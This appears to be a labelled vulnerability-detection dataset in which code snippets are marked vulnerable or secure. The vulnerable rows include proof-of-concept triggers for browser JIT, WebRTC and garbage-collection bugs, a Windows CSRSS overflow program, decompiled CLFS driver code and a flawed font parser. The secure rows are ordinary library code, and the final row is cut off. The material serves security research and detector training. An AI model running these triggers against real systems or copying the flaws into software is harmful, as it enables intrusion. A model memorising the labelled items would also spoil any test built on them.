| | text,label |
| | "function foo(bug) { |
| | function C(z) { |
| | Error.prepareStackTrace = function(t, B) { |
| | return B[z].getThis(); |
| | }; |
| | let p = Error().stack; |
| | Error.prepareStackTrace = null; |
| | return p; |
| | } |
| | function J() {} |
| | var optim = false; |
| | var opt = new Function( |
| | 'a', 'b', 'c', |
| | 'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' + |
| | 'g++;'.repeat(70)); |
| | var e = null; |
| | J.prototype.d = new Function( |
| | 'a', 'b', '""use strict"";b.a.call(arguments,b);return arguments[a];'); |
| | J.prototype.a = new Function('a', 'a.b(0,a)'); |
| | J.prototype.b = new Function( |
| | 'a', 'b', |
| | 'b.c();if(a){' + |
| | 'g++;'.repeat(70) + '}'); |
| | J.prototype.c = function() { |
| | if (optim) { |
| | var z = C(3); |
| | var p = C(3); |
| | z[0] = 0; |
| | e = {M: z, C: p}; |
| | } |
| | }; |
| | var a = new J(); |
| | |
| | if (bug) { |
| | for (var V = 0; 1E4 > V; V++) { |
| | opt(0 == V % 4 ? 1 : 4, a, 1); |
| | } |
| | } |
| | optim = true; |
| | opt(1, a, 1); |
| | return e; |
| | } |
| |
|
| | e1 = foo(false); |
| | console.log(e1.M === e1.C); |
| | e2 = foo(true); |
| | console.log(e2.M === e2.C); |
| | "<html> |
| | <head> |
| | <script> |
| | |
| | var canvas = document.createElement('canvas'); |
| |
|
| | function createConnection() { |
| | var pc = new RTCPeerConnection({ |
| | iceServers: [], |
| | iceTransportPolicy: 'relay' |
| | }); |
| | |
| | var encodings = []; |
| | for (var i = 0; i < 2; i++) { |
| | encodings.push({ rid: String.fromCharCode(97 + i) }); |
| | } |
| | pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings }); |
| | return pc; |
| | } |
| |
|
| |
|
| | function sdp_munge(offer) { |
| | let sdp = offer.sdp; |
| | sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, ''); |
| | offer.sdp = sdp; |
| | return offer; |
| | } |
| |
|
| |
|
| | async function trigger(pc) { |
| | var pc = createConnection(); |
| | var offer = await pc.createOffer(); |
| | var munged_offer = sdp_munge(offer); |
| | await pc.setLocalDescription(munged_offer); |
| | } |
| |
|
| |
|
| | trigger(); |
| |
|
| |
|
| | </script> |
| | </head> |
| | </html>",0 (vulnerable) |
| | "__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2) |
| | { |
| | ... |
| | v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); |
| | v9 = v11; |
| | v16 = v11; |
| | if ( v11 >= 0 ) |
| | { |
| | pContainer = *((_QWORD *)containerContext + 3); |
| | if ( pContainer ) |
| | { |
| | *((_QWORD *)containerContext + 3) = 0i64; |
| | ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread()); |
| | v4 = 0; |
| | (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); |
| | (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); |
| | v9 = v16; |
| | goto LABEL_20; |
| | } |
| | goto LABEL_19; |
| | } |
| | ... |
| | } v44 = *((_DWORD *)containerContext + 5); |
| | if ( v44 == -1 ) |
| | { |
| | *((_QWORD *)containerContext + 3) = 0i64; |
| | v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34); |
| | v72 = v20; |
| | if ( v20 < 0 ) |
| | goto LABEL_134; |
| | v23 = v78; |
| | v34 = (unsigned int)(v34 + 1); |
| | v79 = v34; |
| | } ... |
| | |
| | |
| | for ( i = 0; i < 0x400; ++i ) |
| | { |
| | v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22); |
| | v15 = (char *)this + 8 * i; |
| | if ( v20 >= 0 ) |
| | { |
| | v16 = v22; |
| | *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); |
| | *((_QWORD *)v16 + 3) = 0i64; |
| | CClfsBaseFile::ReleaseContainerContext(this, &v22); |
| | } |
| | else |
| | { |
| | *((_QWORD *)v15 + 56) = 0i64; |
| | } |
| | } |
| | |
| | ClfsEncodeBlock( |
| | (struct _CLFS_LOG_BLOCK_HEADER *)v9, |
| | *(unsigned __int16 *)(v9 + 4) << 9, |
| | *(_BYTE *)(v9 + 2), |
| | 0x10u, |
| | 1u); |
| | |
| | v10 = CClfsContainer::WriteSector( |
| | *((CClfsContainer **)this + 19), |
| | *((struct _KEVENT **)this + 20), |
| | 0i64, |
| | *(void **)(*((_QWORD *)this + 6) + 24 * v8), |
| | *(unsigned __int16 *)(v9 + 4), |
| | &v23); |
| | ... |
| | if ( v7 ) |
| | { |
| | |
| | ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21); |
| | |
| | v17 = (_QWORD *)((char *)this + 448); |
| | do |
| | { |
| | |
| | |
| | if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 ) |
| | { |
| | *((_QWORD *)v22 + 3) = *v17; |
| | CClfsBaseFile::ReleaseContainerContext(this, &v22); |
| | } |
| | ++v6; |
| | ++v17; |
| | } |
| | while ( v6 < 0x400 ); |
| | } |
| | ...",0 (vulnerable) |
| | "static struct kbase_va_region *kbase_mem_from_user_buffer( |
| | struct kbase_context *kctx, unsigned long address, |
| | unsigned long size, u64 *va_pages, u64 *flags) |
| | { |
| | [...] |
| | + int write; |
| | [...] |
| | + write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR); |
| | + |
| | #if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE |
| | faulted_pages = get_user_pages(current, current->mm, address, *va_pages, |
| | #if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \ |
| | KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE |
| | - reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0, |
| | - pages, NULL); |
| | + write ? FOLL_WRITE : 0, pages, NULL); |
| | #else |
| | - reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL); |
| | + write, 0, pages, NULL); |
| | #endif |
| | #elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE |
| | faulted_pages = get_user_pages(address, *va_pages, |
| | - reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL); |
| | + write, 0, pages, NULL); |
| | #else |
| | faulted_pages = get_user_pages(address, *va_pages, |
| | - reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0, |
| | - pages, NULL); |
| | + write ? FOLL_WRITE : 0, pages, NULL); |
| | #endif",0 (vulnerable) |
| | "input = document.body.appendChild(document.createElement(""input"")); |
| |
|
| | foo = document.body.appendChild(document.createElement(""a"")); |
| | foo.id = ""foo""; |
| |
|
| | |
| | |
| | |
| | history.pushState(""state1"", """", location + ""#foo""); |
| |
|
| | |
| | history.pushState(""state2"", """"); |
| |
|
| | setTimeout(() => { |
| |
|
| | |
| | |
| | |
| | input.focus(); |
| | input.onblur = () => history.replaceState(""state3"", """"); |
| | setTimeout(() => history.back(), 1000); |
| | }, 1000);",0 (vulnerable) |
| | "var initKey = {init : 1}; |
| | var level = 4; |
| | var map1 = new WeakMap(); |
| |
|
| | function hideWeakMap(map, level, initKey) { |
| | let prevMap = map; |
| | let prevKey = initKey; |
| | for (let i = 0; i < level; i++) { |
| | let thisMap = new WeakMap(); |
| | prevMap.set(prevKey, thisMap); |
| | let thisKey = {'h' : i}; |
| | thisMap.set(prevKey, thisKey); |
| | prevMap = thisMap; |
| | prevKey = thisKey; |
| | if (i == level - 1) { |
| | let retMap = new WeakMap(); |
| | map.set(thisKey, retMap); |
| | return thisKey; |
| | } |
| | } |
| | } |
| |
|
| | function getHiddenKey(map, level, initKey) { |
| | let prevMap = map; |
| | let prevKey = initKey; |
| | for (let i = 0; i < level; i++) { |
| | let thisMap = prevMap.get(prevKey); |
| | let thisKey = thisMap.get(prevKey); |
| | prevMap = thisMap; |
| | prevKey = thisKey; |
| | if (i == level - 1) { |
| | return thisKey; |
| | } |
| | } |
| | } |
| |
|
| | function setUpWeakMap(map) { |
| | let hk = hideWeakMap(map, level, initKey); |
| | let hiddenMap = map.get(hk); |
| | let map7 = new WeakMap(); |
| | let map8 = new WeakMap(); |
| | let k5 = {k5 : 1}; |
| | let map5 = new WeakMap(); |
| | let k7 = {k7 : 1}; |
| | let k9 = {k9 : 1}; |
| | let k8 = {k8 : 1}; |
| | let v9 = {}; |
| | map.set(k7, map7); |
| | map.set(k9, v9); |
| | hiddenMap.set(k5, map5); |
| | hiddenMap.set(hk, k5); |
| | map5.set(hk, k7); |
| | map7.set(k8, map8); |
| | map7.set(k7, k8); |
| | map8.set(k8,k9); |
| | |
| | } |
| |
|
| | function main() { |
| | setUpWeakMap(map1); |
| |
|
| | new ArrayBuffer(0x7fe00000); |
| | let hiddenKey = getHiddenKey(map1, level, initKey); |
| | let hiddenMap = map1.get(hiddenKey); |
| | let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey); |
| | let k8 = map1.get(k7).get(k7); |
| | let map8 = map1.get(k7).get(k8); |
| |
|
| | console.log(map1.get(map8.get(k8))); |
| | } |
| |
|
| | while (true) { |
| | try { |
| | main(); |
| | } catch (err) {} |
| | }",0 (vulnerable) |
| | "function store(y) { |
| | x = y; |
| | } |
| |
|
| | function load() { |
| | return x.b; |
| | } |
| |
|
| | var x = {a : 1}; |
| | var x1 = {a : 2}; |
| | var x2 = {a : 3}; |
| | var x3 = {a : 4}; |
| |
|
| | store(x1); |
| | %PrepareFunctionForOptimization(store); |
| | store(x2); |
| |
|
| | x1.b = 1; |
| |
|
| | %OptimizeFunctionOnNextCall(store); |
| | store(x2); |
| |
|
| | x.b = 1; |
| |
|
| | %PrepareFunctionForOptimization(load); |
| | load(); |
| |
|
| | %OptimizeFunctionOnNextCall(load); |
| | load(); |
| |
|
| | store(x3); |
| |
|
| | %DebugPrint(load());",0 (vulnerable) |
| | "global_object = {}; |
| |
|
| | setPropertyViaEmbed = (object, value, handler) => { |
| | const embed = document.createElement('embed'); |
| | embed.onload = handler; |
| | embed.type = 'text/html'; |
| | Object.setPrototypeOf(global_object, embed); |
| | document.body.appendChild(embed); |
| | object.corrupted_prop = value; |
| | embed.remove(); |
| | } |
| |
|
| | createCorruptedPair = (value_1, value_2) => { |
| | const object_1 = { |
| | __proto__: global_object |
| | }; |
| | object_1.regular_prop = 1; |
| |
|
| | setPropertyViaEmbed(object_1, value_2, () => { |
| | Object.setPrototypeOf(global_object, null); |
| | object_1.corrupted_prop = value_1; |
| | }); |
| |
|
| | const object_2 = { |
| | __proto__: global_object |
| | }; |
| | object_2.regular_prop = 1; |
| |
|
| | setPropertyViaEmbed(object_2, value_2, () => { |
| | Object.setPrototypeOf(global_object, null); |
| | object_2.corrupted_prop = value_1; |
| | object_1.regular_prop = 1.1 |
| | }); |
| | return [object_1, object_2]; |
| | } |
| |
|
| | const array = [1.1]; |
| | array.prop = 1; |
| | const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918); |
| |
|
| | jit = (object) => { |
| | return object.corrupted_prop[0]; |
| | } |
| | for (var i = 0; i < 100000; ++i) |
| | jit(object_1); |
| | jit(object_2);",0 (vulnerable) |
| | "int SetBlendDesignPositions(void *arg) { |
| | int num_master; |
| | Fixed16_16 values[16][15]; |
| |
|
| | for (num_master = 0; ; num_master++) { |
| | if (GetToken() != TOKEN_OPEN) { |
| | break; |
| | } |
| |
|
| | int values_read = GetOpenFixedArray(&values[num_master], 15); |
| | SetNumAxes(values_read); |
| | } |
| |
|
| | SetNumMasters(num_master); |
| |
|
| | for (int i = 0; i < num_master; i++) { |
| | procs->BlendDesignPositions(i, &values[i]); |
| | } |
| |
|
| |
|
| | return 0; |
| | }",0 (vulnerable) |
| | "#include <stdint.h> |
| | #include <stdio.h> |
| | #include <windows.h> |
| | #include <string> |
| |
|
| | const char* MANIFEST_CONTENTS = |
| | ""<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"" |
| | ""<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"" |
| | ""<assemblyIdentity name='@' version='1.0.0.0' type='win32' "" |
| | ""processorArchitecture='amd64'/>"" |
| | ""</assembly>""; |
| |
|
| | const WCHAR* NULL_BYTE_STR = L""\x00\x00""; |
| | const WCHAR* MANIFEST_NAME = |
| | L""msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"" |
| | L""d761caeca23d64a2.manifest""; |
| | const WCHAR* PATH = L""\\\\.\\c:Windows\\""; |
| | const WCHAR* MODULE = L""System.Data.SqlXml.Resources""; |
| |
|
| | typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount, |
| | ULONG BufferSize); |
| | f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer; |
| |
|
| | typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage, |
| | PVOID CaptureBuffer, |
| | ULONG ApiNumber, |
| | ULONG DataLength); |
| | f_CsrClientCallServer CsrClientCallServer; |
| |
|
| | typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer, |
| | PCSTR String, |
| | ULONG Length, |
| | ULONG MaximumLength, |
| | PSTR OutputString); |
| | f_CsrCaptureMessageString CsrCaptureMessageString; |
| |
|
| | NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString, |
| | PCWSTR String, ULONG Length = 0) { |
| | if (Length == 0) { |
| | Length = lstrlenW(String); |
| | } |
| | return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2, |
| | Length * 2 + 2, OutputString); |
| | } |
| |
|
| | int main() { |
| | HMODULE Ntdll = LoadLibrary(L""Ntdll.dll""); |
| | CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress( |
| | Ntdll, ""CsrAllocateCaptureBuffer""); |
| | CsrClientCallServer = |
| | (f_CsrClientCallServer)GetProcAddress(Ntdll, ""CsrClientCallServer""); |
| | CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress( |
| | Ntdll, ""CsrCaptureMessageString""); |
| |
|
| | char Message[0x220]; |
| | memset(Message, 0, 0x220); |
| |
|
| | PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300); |
| |
|
| | std::string Manifest = MANIFEST_CONTENTS; |
| | Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A'); |
| |
|
| | |
| | |
| | *(uint32_t*)(Message + 0x40) = 0xc1; |
| | *(uint16_t*)(Message + 0x44) = 9; |
| | *(uint16_t*)(Message + 0x59) = 0x201; |
| |
|
| | |
| | |
| | *(const char**)(Message + 0x80) = Manifest.c_str(); |
| | *(uint64_t*)(Message + 0x88) = Manifest.size(); |
| | *(uint64_t*)(Message + 0xf0) = 1; |
| |
|
| | CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2); |
| | CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME); |
| | CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH); |
| | CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE); |
| |
|
| | |
| | *(uint16_t*)(Message + 0x122) = 0x8000; |
| |
|
| | CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0); |
| | }",0 (vulnerable) |
| | "#include ""gtest/internal/gtest-filepath.h"" |
| |
|
| | #include <stdlib.h> |
| |
|
| | #include ""gtest/gtest-message.h"" |
| | #include ""gtest/internal/gtest-port.h"" |
| |
|
| | #if GTEST_OS_WINDOWS_MOBILE |
| | #include <windows.h> |
| | #elif GTEST_OS_WINDOWS |
| | #include <direct.h> |
| | #include <io.h> |
| | #else |
| | #include <limits.h> |
| |
|
| | #include <climits> |
| | #endif |
| |
|
| | #include ""gtest/internal/gtest-string.h"" |
| |
|
| | #if GTEST_OS_WINDOWS |
| | #define GTEST_PATH_MAX_ _MAX_PATH |
| | #elif defined(PATH_MAX) |
| | #define GTEST_PATH_MAX_ PATH_MAX |
| | #elif defined(_XOPEN_PATH_MAX) |
| | #define GTEST_PATH_MAX_ _XOPEN_PATH_MAX |
| | #else |
| | #define GTEST_PATH_MAX_ _POSIX_PATH_MAX |
| | #endif |
| |
|
| | namespace testing { |
| | namespace internal { |
| |
|
| | #if GTEST_OS_WINDOWS |
| | |
| | |
| | |
| | |
| | const char kPathSeparator = '\\'; |
| | const char kAlternatePathSeparator = '/'; |
| | const char kAlternatePathSeparatorString[] = ""/""; |
| | #if GTEST_OS_WINDOWS_MOBILE |
| | |
| | |
| | |
| | const char kCurrentDirectoryString[] = ""\\""; |
| | |
| | const DWORD kInvalidFileAttributes = 0xffffffff; |
| | #else |
| | const char kCurrentDirectoryString[] = "".\\""; |
| | #endif |
| | #else |
| | const char kPathSeparator = '/'; |
| | const char kCurrentDirectoryString[] = ""./""; |
| | #endif |
| |
|
| | |
| | static bool IsPathSeparator(char c) { |
| | #if GTEST_HAS_ALT_PATH_SEP_ |
| | return (c == kPathSeparator) || (c == kAlternatePathSeparator); |
| | #else |
| | return c == kPathSeparator; |
| | #endif |
| | } |
| |
|
| | |
| | FilePath FilePath::GetCurrentDir() { |
| | #if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE || \ |
| | GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \ |
| | GTEST_OS_XTENSA || GTEST_OS_QURT |
| | |
| | |
| | return FilePath(kCurrentDirectoryString); |
| | #elif GTEST_OS_WINDOWS |
| | char cwd[GTEST_PATH_MAX_ + 1] = {'\0'}; |
| | return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? """" : cwd); |
| | #else |
| | char cwd[GTEST_PATH_MAX_ + 1] = {'\0'}; |
| | char* result = getcwd(cwd, sizeof(cwd)); |
| | #if GTEST_OS_NACL |
| | |
| | |
| | |
| | return FilePath(result == nullptr ? kCurrentDirectoryString : cwd); |
| | #endif |
| | return FilePath(result == nullptr ? """" : cwd); |
| | #endif |
| | }",1 (secure) |
| | "#pragma once |
| |
|
| | #include <Core/Types.h> |
| | #include <Common/Exception.h> |
| | #include <Common/intExp.h> |
| | #include <base/arithmeticOverflow.h> |
| |
|
| | #include <limits> |
| | #include <type_traits> |
| |
|
| |
|
| | namespace DB |
| | { |
| |
|
| | template <typename T> |
| | class DataTypeNumber; |
| |
|
| | namespace ErrorCodes |
| | { |
| | extern const int DECIMAL_OVERFLOW; |
| | extern const int ARGUMENT_OUT_OF_BOUND; |
| | } |
| |
|
| | namespace DecimalUtils |
| | { |
| |
|
| | inline constexpr size_t min_precision = 1; |
| | template <typename T> inline constexpr size_t max_precision = 0; |
| | template <> inline constexpr size_t max_precision<Decimal32> = 9; |
| | template <> inline constexpr size_t max_precision<Decimal64> = 18; |
| | template <> inline constexpr size_t max_precision<DateTime64> = 18; |
| | template <> inline constexpr size_t max_precision<Decimal128> = 38; |
| | template <> inline constexpr size_t max_precision<Decimal256> = 76; |
| |
|
| | template <typename T> |
| | inline auto scaleMultiplier(UInt32 scale) |
| | { |
| | if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>) |
| | return common::exp10_i32(scale); |
| | else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>) |
| | return common::exp10_i64(scale); |
| | else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>) |
| | return common::exp10_i128(scale); |
| | else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>) |
| | return common::exp10_i256(scale); |
| | } |
| |
|
| |
|
| | /** Components of DecimalX value: |
| | * whole - represents whole part of decimal, can be negative or positive. |
| | * fractional - for fractional part of decimal, always positive. |
| | */ |
| | template <typename DecimalType> |
| | struct DecimalComponents |
| | { |
| | using T = typename DecimalType::NativeType; |
| | T whole; |
| | T fractional; |
| | }; |
| |
|
| | |
| | template <typename T> |
| | struct DataTypeDecimalTrait |
| | { |
| | using FieldType = T; |
| | const UInt32 precision; |
| | const UInt32 scale; |
| |
|
| | DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_) |
| | : precision(precision_), |
| | scale(scale_) |
| | {} |
| |
|
| | |
| | template <typename U> |
| | T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const |
| | { |
| | if (scale < x.scale) |
| | throw Exception(""Decimal result's scale is less than argument's one"", ErrorCodes::ARGUMENT_OUT_OF_BOUND); |
| | const UInt32 scale_delta = scale - x.scale; |
| | return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta); |
| | } |
| | }; |
| | ",1 (secure) |
| | "#include <SFML/System/Err.hpp> |
| | #include <SFML/Window/SensorManager.hpp> |
| |
|
| | #include <ostream> |
| |
|
| |
|
| | namespace sf |
| | { |
| | namespace priv |
| | { |
| | |
| | SensorManager& SensorManager::getInstance() |
| | { |
| | static SensorManager instance; |
| | return instance; |
| | } |
| |
|
| |
|
| | |
| | bool SensorManager::isAvailable(Sensor::Type sensor) |
| | { |
| | return m_sensors[sensor].available; |
| | } |
| |
|
| |
|
| | |
| | void SensorManager::setEnabled(Sensor::Type sensor, bool enabled) |
| | { |
| | if (m_sensors[sensor].available) |
| | { |
| | m_sensors[sensor].enabled = enabled; |
| | m_sensors[sensor].sensor.setEnabled(enabled); |
| | } |
| | else |
| | { |
| | err() << ""Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)"" |
| | << std::endl; |
| | } |
| | } |
| |
|
| |
|
| | |
| | bool SensorManager::isEnabled(Sensor::Type sensor) const |
| | { |
| | return m_sensors[sensor].enabled; |
| | } |
| |
|
| |
|
| | |
| | Vector3f SensorManager::getValue(Sensor::Type sensor) const |
| | { |
| | return m_sensors[sensor].value; |
| | } |
| |
|
| |
|
| | |
| | void SensorManager::update() |
| | { |
| | for (Item& item : m_sensors) |
| | { |
| | |
| | if (item.available) |
| | item.value = item.sensor.update(); |
| | } |
| | } |
| |
|
| |
|
| | |
| | SensorManager::SensorManager() |
| | { |
| | |
| | SensorImpl::initialize(); |
| |
|
| | |
| | for (int i = 0; i < Sensor::Count; ++i) |
| | { |
| | |
| | m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i)); |
| |
|
| | |
| | if (m_sensors[i].available) |
| | { |
| | if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i))) |
| | { |
| | m_sensors[i].sensor.setEnabled(false); |
| | } |
| | else |
| | { |
| | m_sensors[i].available = false; |
| | err() << ""Warning: sensor "" << i << "" failed to open, will not be available"" << std::endl; |
| | } |
| | } |
| | } |
| | } |
| |
|
| | |
| | SensorManager::~SensorManager() |
| | { |
| | |
| | for (Item& item : m_sensors) |
| | { |
| | if (item.available) |
| | item.sensor.close(); |
| | } |
| |
|
| | |
| | SensorImpl::cleanup();",1 (secure) |
| | "#pragma once |
| |
|
| | #include <stdio.h> |
| | #include <stdlib.h> |
| | #include <string.h> |
| | #include <sys/types.h> |
| | #ifdef _WIN32 |
| | #include <winsock.h> |
| | #else |
| | #include <sys/socket.h> |
| | #include <netinet/in.h> |
| | #include <netdb.h> |
| | #include <arpa/inet.h> |
| | #endif |
| | #include <vector> |
| | #include <iostream> |
| | #include <fstream> |
| | #include <time.h> |
| |
|
| | #define STD_PORT 9777 |
| |
|
| | #define MS_ABSOLUTE 0x01 |
| | |
| |
|
| | #define BTN_USE_NAME 0x01 |
| | #define BTN_DOWN 0x02 |
| | #define BTN_UP 0x04 |
| | #define BTN_USE_AMOUNT 0x08 |
| | #define BTN_QUEUE 0x10 |
| | #define BTN_NO_REPEAT 0x20 |
| | #define BTN_VKEY 0x40 |
| | #define BTN_AXIS 0x80 |
| |
|
| | #define PT_HELO 0x01 |
| | #define PT_BYE 0x02 |
| | #define PT_BUTTON 0x03 |
| | #define PT_MOUSE 0x04 |
| | #define PT_PING 0x05 |
| | #define PT_BROADCAST 0x06 |
| | #define PT_NOTIFICATION 0x07 |
| | #define PT_BLOB 0x08 |
| | #define PT_LOG 0x09 |
| | #define PT_ACTION 0x0A |
| | #define PT_DEBUG 0xFF |
| |
|
| | #define ICON_NONE 0x00 |
| | #define ICON_JPEG 0x01 |
| | #define ICON_PNG 0x02 |
| | #define ICON_GIF 0x03 |
| |
|
| | #define MAX_PACKET_SIZE 1024 |
| | #define HEADER_SIZE 32 |
| | #define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE) |
| |
|
| | #define MAJOR_VERSION 2 |
| | #define MINOR_VERSION 0 |
| |
|
| | #define LOGDEBUG 0 |
| | #define LOGINFO 1 |
| | #define LOGNOTICE 2 |
| | #define LOGWARNING 3 |
| | #define LOGERROR 4 |
| | #define LOGSEVERE 5 |
| | #define LOGFATAL 6 |
| | #define LOGNONE 7 |
| |
|
| | #define ACTION_EXECBUILTIN 0x01 |
| | #define ACTION_BUTTON 0x02 |
| |
|
| | class CAddress |
| | { |
| | private: |
| | struct sockaddr_in m_Addr; |
| | public: |
| | CAddress(int Port = STD_PORT) |
| | { |
| | m_Addr.sin_family = AF_INET; |
| | m_Addr.sin_port = htons(Port); |
| | m_Addr.sin_addr.s_addr = INADDR_ANY; |
| | memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero); |
| | } |
| |
|
| | CAddress(const char *Address, int Port = STD_PORT) |
| | { |
| | m_Addr.sin_port = htons(Port); |
| |
|
| | struct hostent *h; |
| | if (Address == NULL || (h=gethostbyname(Address)) == NULL) |
| | { |
| | if (Address != NULL) |
| | printf(""Error: Get host by name\n""); |
| |
|
| | m_Addr.sin_addr.s_addr = INADDR_ANY; |
| | m_Addr.sin_family = AF_INET; |
| | } |
| | else |
| | { |
| | m_Addr.sin_family = h->h_addrtype; |
| | m_Addr.sin_addr = *((struct in_addr *)h->h_addr); |
| | } |
| | memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero); |
| | } |
| |
|
| | void SetPort(int port) |
| | { |
| | m_Addr.sin_port = htons(port); |
| | } |
| |
|
| | const sockaddr *GetAddress() |
| | { |
| | return ((struct sockaddr *)&m_Addr); |
| | } |
| |
|
| | bool Bind(int Sockfd) |
| | { |
| | return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0); |
| | } |
| | }; |
| |
|
| | class XBMCClientUtils |
| | { |
| | public: |
| | XBMCClientUtils() = default; |
| | ~XBMCClientUtils() = default; |
| | static unsigned int GetUniqueIdentifier() |
| | { |
| | static time_t id = time(NULL); |
| | return id; |
| | } |
| |
|
| | static void Clean() |
| | { |
| | #ifdef _WIN32 |
| | WSACleanup(); |
| | #endif |
| | } |
| |
|
| | static bool Initialize() |
| | { |
| | #ifdef _WIN32 |
| | WSADATA wsaData; |
| | if (WSAStartup(MAKEWORD(1, 1), &wsaData)) |
| | return false; |
| | #endif |
| | return true; |
| | } |
| | }; |
| |
|
| | class CPacket",1 (secure) |
| | "#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP |
| | #define BOOST_BEAST_WEBSOCKET_OPTION_HPP |
| |
|
| | #include <boost/beast/core/detail/config.hpp> |
| |
|
| | namespace boost { |
| | namespace beast { |
| | namespace websocket { |
| |
|
| | /** permessage-deflate extension options. |
| | These settings control the permessage-deflate extension, |
| | which allows messages to be compressed. |
| | @note Objects of this type are used with |
| | @ref beast::websocket::stream::set_option. |
| | */ |
| | struct permessage_deflate |
| | { |
| | |
| | bool server_enable = false; |
| |
|
| | |
| | bool client_enable = false; |
| |
|
| | /** Maximum server window bits to offer |
| | @note Due to a bug in ZLib, this value must be greater than 8. |
| | */ |
| | int server_max_window_bits = 15; |
| |
|
| | /** Maximum client window bits to offer |
| | @note Due to a bug in ZLib, this value must be greater than 8. |
| | */ |
| | int client_max_window_bits = 15; |
| |
|
| | |
| | bool server_no_context_takeover = false; |
| |
|
| | |
| | bool client_no_context_takeover = false; |
| |
|
| | |
| | int compLevel = 8; |
| |
|
| | |
| | int memLevel = 4; |
| |
|
| | |
| | std::size_t msg_size_threshold = 0; |
| | }; |
| |
|
| | } |
| | } |
| | } |
| |
|
| | #endif",1 (secure) |
| | "#include <cstdlib> |
| | #include <iostream> |
| | #include <sstream> |
| |
|
| | using namespace std; |
| |
|
| | void build_code(int max_args) |
| | { |
| | stringstream ss; |
| | ss << ""#define NLOHMANN_JSON_EXPAND( x ) x"" << endl; |
| | ss << ""#define NLOHMANN_JSON_GET_MACRO(""; |
| | for (int i = 0 ; i < max_args ; i++) |
| | ss << ""_"" << i + 1 << "", ""; |
| | ss << ""NAME,...) NAME"" << endl; |
| | |
| | ss << ""#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\"" << endl; |
| | for (int i = max_args ; i > 1 ; i--) |
| | ss << ""NLOHMANN_JSON_PASTE"" << i << "", \\"" << endl; |
| | ss << ""NLOHMANN_JSON_PASTE1)(__VA_ARGS__))"" << endl; |
| | |
| | ss << ""#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)"" << endl; |
| | for (int i = 3 ; i <= max_args ; i++) |
| | { |
| | ss << ""#define NLOHMANN_JSON_PASTE"" << i << ""(func, ""; |
| | for (int j = 1 ; j < i -1 ; j++) |
| | ss << ""v"" << j << "", ""; |
| | ss << ""v"" << i-1 << "") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE"" << i-1 << ""(func, ""; |
